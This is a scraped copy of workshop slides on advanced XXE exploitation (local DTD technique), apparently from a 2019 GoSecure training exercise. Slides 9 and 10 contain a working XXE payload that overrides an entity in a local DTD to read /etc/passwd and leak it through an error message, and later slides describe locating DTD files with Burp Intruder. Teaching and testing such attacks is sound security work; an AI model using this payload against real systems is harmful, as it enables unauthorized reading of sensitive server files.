16
Advanced XXE Exploitation Exercise 5: Local DTD (App port 8022) Philippe Arteau GoSecure Countertack 19/06/2019 Slides: http://bit.ly/xxeparis

Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

  • Upload
    others

  • View
    0

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Advanced XXE ExploitationExercise 5: Local DTD (App port 8022)

Philippe ArteauGoSecure Countertack

19/06/2019Slides: http://bit.ly/xxeparis

Page 2: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its
Page 3: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

What if …

• The XML parsed is not returned• Network side-channel are not possible

(aggressive network filter)

Page 4: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Exfiltrating data using exception

XML

File Not Found

The filename will contain the data we want to exfiltrate.

Page 5: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Just a test..

Exception detail is displayed

File that does not exist on the remote file system

Page 6: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Can we do a concatenation trick without external DTD ?Yes We Can !

1. Initialize local DTD

2. Overrides one of its entity

3. Evaluate ELEMENT and ENTITY from the local DTD

The final evaluation should trigger the injection of new entities doing the same concatenation trick used in external DTD.

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

Page 7: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Useful DTD example

[…]<!ENTITY % constant'int|double|string|matrix|bool|charset|langset|const'>

<!ELEMENT patelt (%constant;)*>[…]

Page 8: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Injecting into an ELEMENT

[…]<!ENTITY % constant '>[MALICIOUS]<!ELEMENT dummy(123 '>

<!ELEMENT patelt (%constant;)*>[…]

Page 9: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

What malicious entities are we injecting?

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

Just to make sure the exception istriggered

File content

When %eval will be evaluated the concatenation will occurs.

Page 10: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Putting everything together

[…]<!ENTITY % constant '><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"><!ELEMENT dummy(123 '>

<!ELEMENT patelt (%constant;)*>[…]

Some additional encoding

Page 11: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

In Burp

Page 12: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

How did you find the DTD in the first place ?

Using Intruder and the exception telling us if the file exists or not

Page 13: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Intruder configuration

Page 14: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

Extracting the list of available DTD

Page 15: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

DTD found !

Page 16: Advanced XXE Exploitation Exercise 5: Local DTD (App port ......Can we do a concatenation trick without external DTD ? Yes We Can ! 1. Initialize local DTD 2. Overrides one of its

QuestionS ?

[email protected]/blog/@h3xStream @GoSecure_Inc